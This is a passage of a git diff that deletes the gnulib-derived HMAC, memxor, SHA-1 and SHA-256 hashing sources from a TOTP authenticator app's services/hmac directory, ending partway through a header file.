0x5c - -/* Concatenate two preprocessor tokens. */ -#define _GLHMAC_CONCAT_(prefix, suffix) prefix##suffix -#define _GLHMAC_CONCAT(prefix, suffix) _GLHMAC_CONCAT_(prefix, suffix) - -#define HMAC_ALG _GLHMAC_CONCAT(sha, GL_HMAC_NAME) - -#define GL_HMAC_CTX _GLHMAC_CONCAT(HMAC_ALG, _ctx) -#define GL_HMAC_FN _GLHMAC_CONCAT(hmac_, HMAC_ALG) -#define GL_HMAC_FN_INIT _GLHMAC_CONCAT(HMAC_ALG, _init_ctx) -#define GL_HMAC_FN_BLOC _GLHMAC_CONCAT(HMAC_ALG, _process_block) -#define GL_HMAC_FN_PROC _GLHMAC_CONCAT(HMAC_ALG, _process_bytes) -#define GL_HMAC_FN_FINI _GLHMAC_CONCAT(HMAC_ALG, _finish_ctx) - -static void - hmac_hash(const void* key, size_t keylen, const void* in, size_t inlen, int pad, void* resbuf) { - struct GL_HMAC_CTX hmac_ctx; - char block[GL_HMAC_BLOCKSIZE]; - - memset(block, pad, sizeof block); - memxor(block, key, keylen); - - GL_HMAC_FN_INIT(&hmac_ctx); - GL_HMAC_FN_BLOC(block, sizeof block, &hmac_ctx); - GL_HMAC_FN_PROC(in, inlen, &hmac_ctx); - GL_HMAC_FN_FINI(&hmac_ctx, resbuf); -} - -int GL_HMAC_FN(const void* key, size_t keylen, const void* in, size_t inlen, void* resbuf) { - char optkeybuf[GL_HMAC_HASHSIZE]; - char innerhash[GL_HMAC_HASHSIZE]; - - /* Ensure key size is <= block size. */ - if(keylen > GL_HMAC_BLOCKSIZE) { - struct GL_HMAC_CTX keyhash; - - GL_HMAC_FN_INIT(&keyhash); - GL_HMAC_FN_PROC(key, keylen, &keyhash); - GL_HMAC_FN_FINI(&keyhash, optkeybuf); - - key = optkeybuf; - /* zero padding of the key to the block size - is implicit in the memxor. */ - keylen = sizeof optkeybuf; - } - - /* Compute INNERHASH from KEY and IN. */ - hmac_hash(key, keylen, in, inlen, IPAD, innerhash); - - /* Compute result from KEY and INNERHASH. */ - hmac_hash(key, keylen, innerhash, sizeof innerhash, OPAD, resbuf); - - return 0; -} diff --git a/applications/external/totp/services/hmac/hmac_sha1.c b/applications/external/totp/services/hmac/hmac_sha1.c deleted file mode 100644 index 0a78d569a..000000000 --- a/applications/external/totp/services/hmac/hmac_sha1.c +++ /dev/null @@ -1,24 +0,0 @@ -/* hmac-sha1.c -- hashed message authentication codes - Copyright (C) 2018-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -#include "hmac_sha1.h" - -#include "sha1.h" - -#define GL_HMAC_NAME 1 -#define GL_HMAC_BLOCKSIZE 64 -#define GL_HMAC_HASHSIZE 20 -#include "hmac_common.h" diff --git a/applications/external/totp/services/hmac/hmac_sha1.h b/applications/external/totp/services/hmac/hmac_sha1.h deleted file mode 100644 index 25ff2f648..000000000 --- a/applications/external/totp/services/hmac/hmac_sha1.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -#define HMAC_SHA1_RESULT_SIZE 20 - -/* Compute Hashed Message Authentication Code with SHA-1, over BUFFER - data of BUFLEN bytes using the KEY of KEYLEN bytes, writing the - output to pre-allocated 20 byte minimum RESBUF buffer. Return 0 on - success. */ -int hmac_sha1(const void* key, size_t keylen, const void* in, size_t inlen, void* restrict resbuf); diff --git a/applications/external/totp/services/hmac/hmac_sha256.c b/applications/external/totp/services/hmac/hmac_sha256.c deleted file mode 100644 index 00ac2a177..000000000 --- a/applications/external/totp/services/hmac/hmac_sha256.c +++ /dev/null @@ -1,24 +0,0 @@ -/* hmac-sha256.c -- hashed message authentication codes - Copyright (C) 2018-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -#include "hmac_sha256.h" -#include "sha256.h" - -#define GL_HMAC_NAME 256 -#define GL_HMAC_BLOCKSIZE 64 -#define GL_HMAC_HASHSIZE 32 - -#include "hmac_common.h" diff --git a/applications/external/totp/services/hmac/hmac_sha256.h b/applications/external/totp/services/hmac/hmac_sha256.h deleted file mode 100644 index 9aeaf10d6..000000000 --- a/applications/external/totp/services/hmac/hmac_sha256.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -#define HMAC_SHA256_RESULT_SIZE 32 - -/* Compute Hashed Message Authentication Code with SHA-256, over BUFFER - data of BUFLEN bytes using the KEY of KEYLEN bytes, writing the - output to pre-allocated 32 byte minimum RESBUF buffer. Return 0 on - success. */ -int hmac_sha256(const void* key, size_t keylen, const void* in, size_t inlen, void* restrict resbuf); diff --git a/applications/external/totp/services/hmac/hmac_sha512.c b/applications/external/totp/services/hmac/hmac_sha512.c deleted file mode 100644 index dc9342a91..000000000 --- a/applications/external/totp/services/hmac/hmac_sha512.c +++ /dev/null @@ -1,24 +0,0 @@ -/* hmac-sha512.c -- hashed message authentication codes - Copyright (C) 2018-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -#include "hmac_sha512.h" - -#include "sha512.h" - -#define GL_HMAC_NAME 512 -#define GL_HMAC_BLOCKSIZE 128 -#define GL_HMAC_HASHSIZE 64 -#include "hmac_common.h" diff --git a/applications/external/totp/services/hmac/hmac_sha512.h b/applications/external/totp/services/hmac/hmac_sha512.h deleted file mode 100644 index 712b7f4a0..000000000 --- a/applications/external/totp/services/hmac/hmac_sha512.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -#define HMAC_SHA512_RESULT_SIZE 64 - -/* Compute Hashed Message Authentication Code with SHA-512, over BUFFER - data of BUFLEN bytes using the KEY of KEYLEN bytes, writing the - output to pre-allocated 64 byte minimum RESBUF buffer. Return 0 on - success. */ -int hmac_sha512(const void* key, size_t keylen, const void* in, size_t inlen, void* restrict resbuf); diff --git a/applications/external/totp/services/hmac/memxor.c b/applications/external/totp/services/hmac/memxor.c deleted file mode 100644 index ab6026aa3..000000000 --- a/applications/external/totp/services/hmac/memxor.c +++ /dev/null @@ -1,30 +0,0 @@ -/* memxor.c -- perform binary exclusive OR operation of two memory blocks. - Copyright (C) 2005, 2006 Free Software Foundation, Inc. - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2, or (at your option) - any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software Foundation, - Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ - -/* Written by Simon Josefsson. The interface was inspired by memxor - in Niels Möller's Nettle. */ - -#include "memxor.h" - -void* memxor(void* /*restrict*/ dest, const void* /*restrict*/ src, size_t n) { - char const* s = (char const*)src; - char* d = (char*)dest; - - for(; n > 0; n--) *d++ ^= *s++; - - return dest; -} diff --git a/applications/external/totp/services/hmac/memxor.h b/applications/external/totp/services/hmac/memxor.h deleted file mode 100644 index 71aa604c8..000000000 --- a/applications/external/totp/services/hmac/memxor.h +++ /dev/null @@ -1,28 +0,0 @@ -/* memxor.h -- perform binary exclusive OR operation on memory blocks. - Copyright (C) 2005 Free Software Foundation, Inc. - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2, or (at your option) - any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software Foundation, - Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ - -/* Written by Simon Josefsson. The interface was inspired by memxor - in Niels Möller's Nettle. */ - -#pragma once - -#include - -/* Compute binary exclusive OR of memory areas DEST and SRC, putting - the result in DEST, of length N bytes. Returns a pointer to - DEST. */ -void* memxor(void* /*restrict*/ dest, const void* /*restrict*/ src, size_t n); diff --git a/applications/external/totp/services/hmac/sha1.c b/applications/external/totp/services/hmac/sha1.c deleted file mode 100644 index 29f22e3c3..000000000 --- a/applications/external/totp/services/hmac/sha1.c +++ /dev/null @@ -1,251 +0,0 @@ -/* sha1.c - Functions to compute SHA1 message digest of files or - memory blocks according to the NIST specification FIPS-180-1. - - Copyright (C) 2000-2001, 2003-2006, 2008-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -/* Written by Scott G. Miller - Credits: - Robert Klep -- Expansion function fix -*/ - -/* Specification. */ -#include "sha1.h" - -#include -#include - -#include "sha_pad_buffer.h" - -#ifdef WORDS_BIGENDIAN -#define SWAP(n) (n) -#else -#include "byteswap.h" -#define SWAP(n) swap_uint32(n) -#endif - -/* Take a pointer to a 160 bit block of data (five 32 bit ints) and - initialize it to the start constants of the SHA1 algorithm. This - must be called before using hash in the call to sha1_hash. */ -void sha1_init_ctx(struct sha1_ctx* ctx) { - ctx->A = 0x67452301; - ctx->B = 0xefcdab89; - ctx->C = 0x98badcfe; - ctx->D = 0x10325476; - ctx->E = 0xc3d2e1f0; - - ctx->total[0] = ctx->total[1] = 0; - ctx->buflen = 0; -} - -/* Copy the 4 byte value from v into the memory location pointed to by *cp, - If your architecture allows unaligned access this is equivalent to - * (uint32_t *) cp = v */ -static void set_uint32(char* cp, uint32_t v) { - memcpy(cp, &v, sizeof v); -} - -/* Put result from CTX in first 20 bytes following RESBUF. The result - must be in little endian byte order. */ -void* sha1_read_ctx(const struct sha1_ctx* ctx, void* resbuf) { - char* r = resbuf; - set_uint32(r + 0 * sizeof ctx->A, SWAP(ctx->A)); - set_uint32(r + 1 * sizeof ctx->B, SWAP(ctx->B)); - set_uint32(r + 2 * sizeof ctx->C, SWAP(ctx->C)); - set_uint32(r + 3 * sizeof ctx->D, SWAP(ctx->D)); - set_uint32(r + 4 * sizeof ctx->E, SWAP(ctx->E)); - - return resbuf; -} - -/* Process the remaining bytes in the internal buffer and the usual - prolog according to the standard and write the result to RESBUF. */ -void* sha1_finish_ctx(struct sha1_ctx* ctx, void* resbuf) { - /* Take yet unprocessed bytes into account. */ - uint32_t bytes = ctx->buflen; - size_t size = (bytes < 56) ? 64 / 4 : 64 * 2 / 4; - - /* Now count remaining bytes. */ - ctx->total[0] += bytes; - if(ctx->total[0] < bytes) ++ctx->total[1]; - - /* Put the 64-bit file length in *bits* at the end of the buffer. */ - ctx->buffer[size - 2] = SWAP((ctx->total[1] << 3) | (ctx->total[0] >> 29)); - ctx->buffer[size - 1] = SWAP(ctx->total[0] << 3); - - sha_pad_buffer(&((uint8_t*)ctx->buffer)[bytes], (size - 2) * 4 - bytes); - - /* Process last bytes. */ - sha1_process_block(ctx->buffer, size * 4, ctx); - - return sha1_read_ctx(ctx, resbuf); -} - -/* Compute SHA1 message digest for LEN bytes beginning at BUFFER. The - result is always in little endian byte order, so that a byte-wise - output yields to the wanted ASCII representation of the message - digest. */ -void* sha1_buffer(const char* buffer, size_t len, void* resblock) { - struct sha1_ctx ctx; - - /* Initialize the computation context. */ - sha1_init_ctx(&ctx); - - /* Process whole buffer but last len % 64 bytes. */ - sha1_process_bytes(buffer, len, &ctx); - - /* Put result in desired memory area. */ - return sha1_finish_ctx(&ctx, resblock); -} - -void sha1_process_bytes(const void* buffer, size_t len, struct sha1_ctx* ctx) { - /* When we already have some bits in our internal buffer concatenate - both inputs first. */ - if(ctx->buflen != 0) { - size_t left_over = ctx->buflen; - size_t add = 128 - left_over > len ? len : 128 - left_over; - - memcpy(&((char*)ctx->buffer)[left_over], buffer, add); - ctx->buflen += add; - - if(ctx->buflen > 64) { - sha1_process_block(ctx->buffer, ctx->buflen & ~63, ctx); - - ctx->buflen &= 63; - /* The regions in the following copy operation cannot overlap, - because ctx->buflen < 64 ≤ (left_over + add) & ~63. */ - memcpy(ctx->buffer, &((char*)ctx->buffer)[(left_over + add) & ~63], ctx->buflen); - } - - buffer = (const char*)buffer + add; - len -= add; - } - - /* Process available complete blocks. */ - if(len >= 64) { -#if !(_STRING_ARCH_unaligned || _STRING_INLINE_unaligned) -#define UNALIGNED_P(p) ((uintptr_t)(p) % sizeof(uint32_t) != 0) - if(UNALIGNED_P(buffer)) - while(len > 64) { - sha1_process_block(memcpy(ctx->buffer, buffer, 64), 64, ctx); //-V1086 - buffer = (const char*)buffer + 64; - len -= 64; - } - else -#endif - { - sha1_process_block(buffer, len & ~63, ctx); - buffer = (const char*)buffer + (len & ~63); - len &= 63; - } - } - - /* Move remaining bytes in internal buffer. */ - if(len > 0) { - size_t left_over = ctx->buflen; - - memcpy(&((char*)ctx->buffer)[left_over], buffer, len); - left_over += len; - if(left_over >= 64) { - sha1_process_block(ctx->buffer, 64, ctx); - left_over -= 64; - /* The regions in the following copy operation cannot overlap, - because left_over ≤ 64. */ - memcpy(ctx->buffer, &ctx->buffer[16], left_over); - } - ctx->buflen = left_over; - } -} - -/* --- Code below is the primary difference between md5.c and sha1.c --- */ - -/* SHA1 round constants */ -static const int sha1_round_constants[4] = {0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6}; - -/* Round functions. Note that F2 is the same as F4. */ -#define F1(B, C, D) (D ^ (B & (C ^ D))) -#define F2_4(B, C, D) (B ^ C ^ D) -#define F3(B, C, D) ((B & C) | (D & (B | C))) -#define FN(I, B, C, D) (I == 0 ? F1(B, C, D) : (I == 2 ? F3(B, C, D) : F2_4(B, C, D))) - -/* Process LEN bytes of BUFFER, accumulating context into CTX. - It is assumed that LEN % 64 == 0. - Most of this code comes from GnuPG's cipher/sha1.c. */ - -void sha1_process_block(const void* buffer, size_t len, struct sha1_ctx* ctx) { - const uint32_t* words = buffer; - size_t nwords = len / sizeof(uint32_t); - const uint32_t* endp = words + nwords; - uint32_t x[16]; - uint32_t a = ctx->A; - uint32_t b = ctx->B; - uint32_t c = ctx->C; - uint32_t d = ctx->D; - uint32_t e = ctx->E; - uint32_t lolen = len; - - /* First increment the byte count. RFC 1321 specifies the possible - length of the file up to 2^64 bits. Here we only compute the - number of bytes. Do a double word increment. */ - ctx->total[0] += lolen; - ctx->total[1] += (len >> 31 >> 1) + (ctx->total[0] < lolen); - -#define rol(x, n) (((x) << (n)) | ((uint32_t)(x) >> (32 - (n)))) - -#define M(I) \ - (tm = x[I & 0x0f] ^ x[(I - 14) & 0x0f] ^ x[(I - 8) & 0x0f] ^ x[(I - 3) & 0x0f], \ - (x[I & 0x0f] = rol(tm, 1))) - -#define R(A, B, C, D, E, F, K, M, KI) \ - do { \ - E += rol(A, 5) + F(KI, B, C, D) + K + M; \ - B = rol(B, 30); \ - } while(0) - - while(words < endp) { - uint32_t tm; - int t; - for(t = 0; t < 16; t++) { - x[t] = SWAP(*words); - words++; - } - - for(uint8_t i = 0; i < 80; i++) { - uint32_t m = i < 16 ? x[i] : M(i); - uint8_t ki = i / 20; - int k_const = sha1_round_constants[ki]; - R(a, b, c, d, e, FN, k_const, m, ki); - uint32_t tt = a; - a = e; - e = d; - d = c; - c = b; - b = tt; - } - - a = ctx->A += a; - b = ctx->B += b; - c = ctx->C += c; - d = ctx->D += d; - e = ctx->E += e; - } -} - -/* - * Hey Emacs! - * Local Variables: - * coding: utf-8 - * End: - */ diff --git a/applications/external/totp/services/hmac/sha1.h b/applications/external/totp/services/hmac/sha1.h deleted file mode 100644 index e9eb7712a..000000000 --- a/applications/external/totp/services/hmac/sha1.h +++ /dev/null @@ -1,84 +0,0 @@ -/* Declarations of functions and data types used for SHA1 sum - library functions. - Copyright (C) 2000-2001, 2003, 2005-2006, 2008-2022 Free Software - Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define SHA1_DIGEST_SIZE 20 - -/* Structure to save state of computation between the single steps. */ -struct sha1_ctx { - uint32_t A; - uint32_t B; - uint32_t C; - uint32_t D; - uint32_t E; - - uint32_t total[2]; - uint32_t buflen; /* ≥ 0, ≤ 128 */ - uint32_t buffer[32]; /* 128 bytes; the first buflen bytes are in use */ -}; - -/* Initialize structure containing state of computation. */ -extern void sha1_init_ctx(struct sha1_ctx* ctx); - -/* Starting with the result of former calls of this function (or the - initialization function update the context for the next LEN bytes - starting at BUFFER. - It is necessary that LEN is a multiple of 64!!! */ -extern void sha1_process_block(const void* buffer, size_t len, struct sha1_ctx* ctx); - -/* Starting with the result of former calls of this function (or the - initialization function update the context for the next LEN bytes - starting at BUFFER. - It is NOT required that LEN is a multiple of 64. */ -extern void sha1_process_bytes(const void* buffer, size_t len, struct sha1_ctx* ctx); - -/* Process the remaining bytes in the buffer and put result from CTX - in first 20 bytes following RESBUF. The result is always in little - endian byte order, so that a byte-wise output yields to the wanted - ASCII representation of the message digest. */ -extern void* sha1_finish_ctx(struct sha1_ctx* ctx, void* restrict resbuf); - -/* Put result from CTX in first 20 bytes following RESBUF. The result is - always in little endian byte order, so that a byte-wise output yields - to the wanted ASCII representation of the message digest. */ -extern void* sha1_read_ctx(const struct sha1_ctx* ctx, void* restrict resbuf); - -/* Compute SHA1 message digest for LEN bytes beginning at BUFFER. The - result is always in little endian byte order, so that a byte-wise - output yields to the wanted ASCII representation of the message - digest. */ -extern void* sha1_buffer(const char* buffer, size_t len, void* restrict resblock); - -#ifdef __cplusplus -} -#endif - -/* - * Hey Emacs! - * Local Variables: - * coding: utf-8 - * End: - */ diff --git a/applications/external/totp/services/hmac/sha256.c b/applications/external/totp/services/hmac/sha256.c deleted file mode 100644 index 09ba272e7..000000000 --- a/applications/external/totp/services/hmac/sha256.c +++ /dev/null @@ -1,283 +0,0 @@ -/* sha256.c - Functions to compute SHA256 message digest of files or - memory blocks according to the NIST specification FIPS-180-2. - - Copyright (C) 2005-2006, 2008-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -/* Written by David Madore, considerably copypasting from - Scott G. Miller's sha1.c -*/ - -/* Specification. */ -#include "sha256.h" - -#include -#include -#include "sha_pad_buffer.h" - -#ifdef WORDS_BIGENDIAN -#define SWAP(n) (n) -#else -#include "byteswap.h" -#define SWAP(n) swap_uint32(n) -#endif - -/* - Takes a pointer to a 256 bit block of data (eight 32 bit ints) and - initializes it to the start constants of the SHA256 algorithm. This - must be called before using hash in the call to sha256_hash -*/ -void sha256_init_ctx(struct sha256_ctx* ctx) { - ctx->state[0] = 0x6a09e667UL; - ctx->state[1] = 0xbb67ae85UL; - ctx->state[2] = 0x3c6ef372UL; - ctx->state[3] = 0xa54ff53aUL; - ctx->state[4] = 0x510e527fUL; - ctx->state[5] = 0x9b05688cUL; - ctx->state[6] = 0x1f83d9abUL; - ctx->state[7] = 0x5be0cd19UL; - - ctx->total[0] = ctx->total[1] = 0; - ctx->buflen = 0; -} - -/* Copy the value from v into the memory location pointed to by *CP, - If your architecture allows unaligned access, this is equivalent to - * (__typeof__ (v) *) cp = v */ -static void set_uint32(char* cp, uint32_t v) { - memcpy(cp, &v, sizeof v); -} - -/* Put result from CTX in first 32 bytes following RESBUF. - The result must be in little endian byte order. */ -void* sha256_read_ctx(const struct sha256_ctx* ctx, void* resbuf) { - int i; - char* r = resbuf; - - for(i = 0; i < 8; i++) set_uint32(r + i * sizeof ctx->state[0], SWAP(ctx->state[i])); - - return resbuf; -} - -/* Process the remaining bytes in the internal buffer and the usual - prolog according to the standard and write the result to RESBUF. */ -static void sha256_conclude_ctx(struct sha256_ctx* ctx) { - /* Take yet unprocessed bytes into account. */ - size_t bytes = ctx->buflen; - size_t size = (bytes < 56) ? 64 / 4 : 64 * 2 / 4; - - /* Now count remaining bytes. */ - ctx->total[0] += bytes; - if(ctx->total[0] < bytes) ++ctx->total[1]; - - /* Put the 64-bit file length in *bits* at the end of the buffer. - Use set_uint32 rather than a simple assignment, to avoid risk of - unaligned access. */ - set_uint32((char*)&ctx->buffer[size - 2], SWAP((ctx->total[1] << 3) | (ctx->total[0] >> 29))); - set_uint32((char*)&ctx->buffer[size - 1], SWAP(ctx->total[0] << 3)); - - sha_pad_buffer(&((uint8_t*)ctx->buffer)[bytes], (size - 2) * 4 - bytes); - - /* Process last bytes. */ - sha256_process_block(ctx->buffer, size * 4, ctx); -} - -void* sha256_finish_ctx(struct sha256_ctx* ctx, void* resbuf) { - sha256_conclude_ctx(ctx); - return sha256_read_ctx(ctx, resbuf); -} - -/* Compute SHA256 message digest for LEN bytes beginning at BUFFER. The - result is always in little endian byte order, so that a byte-wise - output yields to the wanted ASCII representation of the message - digest. */ -void* sha256_buffer(const char* buffer, size_t len, void* resblock) { - struct sha256_ctx ctx; - - /* Initialize the computation context. */ - sha256_init_ctx(&ctx); - - /* Process whole buffer but last len % 64 bytes. */ - sha256_process_bytes(buffer, len, &ctx); - - /* Put result in desired memory area. */ - return sha256_finish_ctx(&ctx, resblock); -} - -void sha256_process_bytes(const void* buffer, size_t len, struct sha256_ctx* ctx) { - /* When we already have some bits in our internal buffer concatenate - both inputs first. */ - if(ctx->buflen != 0) { - size_t left_over = ctx->buflen; - size_t add = 128 - left_over > len ? len : 128 - left_over; - - memcpy(&((char*)ctx->buffer)[left_over], buffer, add); - ctx->buflen += add; - - if(ctx->buflen > 64) { - sha256_process_block(ctx->buffer, ctx->buflen & ~63, ctx); - - ctx->buflen &= 63; - /* The regions in the following copy operation cannot overlap, - because ctx->buflen < 64 ≤ (left_over + add) & ~63. */ - memcpy(ctx->buffer, &((char*)ctx->buffer)[(left_over + add) & ~63], ctx->buflen); - } - - buffer = (const char*)buffer + add; - len -= add; - } - - /* Process available complete blocks. */ - if(len >= 64) { -#if !(_STRING_ARCH_unaligned || _STRING_INLINE_unaligned) -#define UNALIGNED_P(p) ((uintptr_t)(p) % sizeof(uint32_t) != 0) - if(UNALIGNED_P(buffer)) - while(len > 64) { - sha256_process_block(memcpy(ctx->buffer, buffer, 64), 64, ctx); //-V1086 - buffer = (const char*)buffer + 64; - len -= 64; - } - else -#endif - { - sha256_process_block(buffer, len & ~63, ctx); - buffer = (const char*)buffer + (len & ~63); - len &= 63; - } - } - - /* Move remaining bytes in internal buffer. */ - if(len > 0) { - size_t left_over = ctx->buflen; - - memcpy(&((char*)ctx->buffer)[left_over], buffer, len); - left_over += len; - if(left_over >= 64) { - sha256_process_block(ctx->buffer, 64, ctx); - left_over -= 64; - /* The regions in the following copy operation cannot overlap, - because left_over ≤ 64. */ - memcpy(ctx->buffer, &ctx->buffer[16], left_over); - } - ctx->buflen = left_over; - } -} - -/* --- Code below is the primary difference between sha1.c and sha256.c --- */ - -/* SHA256 round constants */ -#define K(I) sha256_round_constants[I] -static const uint32_t sha256_round_constants[64] = { - 0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL, 0x59f111f1UL, - 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL, 0x243185beUL, 0x550c7dc3UL, - 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL, 0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, - 0x0fc19dc6UL, 0x240ca1ccUL, 0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, - 0x983e5152UL, 0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL, - 0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL, 0x53380d13UL, - 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL, 0xa2bfe8a1UL, 0xa81a664bUL, - 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL, 0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, - 0x19a4c116UL, 0x1e376c08UL, 0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, - 0x5b9cca4fUL, 0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL, - 0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL, -}; - -/* Round functions. */ -#define F2(A, B, C) ((A & B) | (C & (A | B))) -#define F1(E, F, G) (G ^ (E & (F ^ G))) - -/* Process LEN bytes of BUFFER, accumulating context into CTX. - It is assumed that LEN % 64 == 0. - Most of this code comes from GnuPG's cipher/sha1.c. */ - -void sha256_process_block(const void* buffer, size_t len, struct sha256_ctx* ctx) { - const uint32_t* words = buffer; - size_t nwords = len / sizeof(uint32_t); - const uint32_t* endp = words + nwords; - uint32_t x[16]; - uint32_t a = ctx->state[0]; - uint32_t b = ctx->state[1]; - uint32_t c = ctx->state[2]; - uint32_t d = ctx->state[3]; - uint32_t e = ctx->state[4]; - uint32_t f = ctx->state[5]; - uint32_t g = ctx->state[6]; - uint32_t h = ctx->state[7]; - uint32_t lolen = len; - - /* First increment the byte count. FIPS PUB 180-2 specifies the possible - length of the file up to 2^64 bits. Here we only compute the - number of bytes. Do a double word increment. */ - ctx->total[0] += lolen; - ctx->total[1] += (len >> 31 >> 1) + (ctx->total[0] < lolen); - -#define rol(x, n) (((x) << (n)) | ((x) >> (32 - (n)))) -#define S0(x) (rol(x, 25) ^ rol(x, 14) ^ (x >> 3)) -#define S1(x) (rol(x, 15) ^ rol(x, 13) ^ (x >> 10)) -#define SS0(x) (rol(x, 30) ^ rol(x, 19) ^ rol(x, 10)) -#define SS1(x) (rol(x, 26) ^ rol(x, 21) ^ rol(x, 7)) - -#define M(I) \ - (tm = S1(x[(I - 2) & 0x0f]) + x[(I - 7) & 0x0f] + S0(x[(I - 15) & 0x0f]) + x[I & 0x0f], \ - x[I & 0x0f] = tm) - -#define R(A, B, C, D, E, F, G, H, K, M) \ - do { \ - t0 = SS0(A) + F2(A, B, C); \ - t1 = H + SS1(E) + F1(E, F, G) + K + M; \ - D += t1; \ - H = t0 + t1; \ - } while(0) - - while(words < endp) { - uint32_t tm; - uint32_t t0, t1; - int t; - /* FIXME: see sha1.c for a better implementation. */ - for(t = 0; t < 16; t++) { - x[t] = SWAP(*words); - words++; - } - - for(int i = 0; i < 64; i++) { - uint32_t xx = i < 16 ? x[i] : M(i); - R(a, b, c, d, e, f, g, h, K(i), xx); - uint32_t tt = a; - a = h; - h = g; - g = f; - f = e; - e = d; - d = c; - c = b; - b = tt; - } - - a = ctx->state[0] += a; - b = ctx->state[1] += b; - c = ctx->state[2] += c; - d = ctx->state[3] += d; - e = ctx->state[4] += e; - f = ctx->state[5] += f; - g = ctx->state[6] += g; - h = ctx->state[7] += h; - } -} - -/* - * Hey Emacs! - * Local Variables: - * coding: utf-8 - * End: - */ diff --git a/applications/external/totp/services/hmac/sha256.h b/applications/external/totp/services/hmac/sha256.h deleted file mode 100644 index 964f2eb97..000000000 --- a/applications/external/totp/services/hmac/sha256.h +++ /dev/null @@ -1,79 +0,0 @@ -/* Declarations of functions and data types used for SHA256 sum - library functions. - Copyright (C) 2005-2006, 2008-2022 Free Software Foundation, Inc. - - This file is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as - published by the Free Software Foundation; either version 2.1 of the - License, or (at your option) any later version. - - This file is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with this program. If not, see . */ - -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" 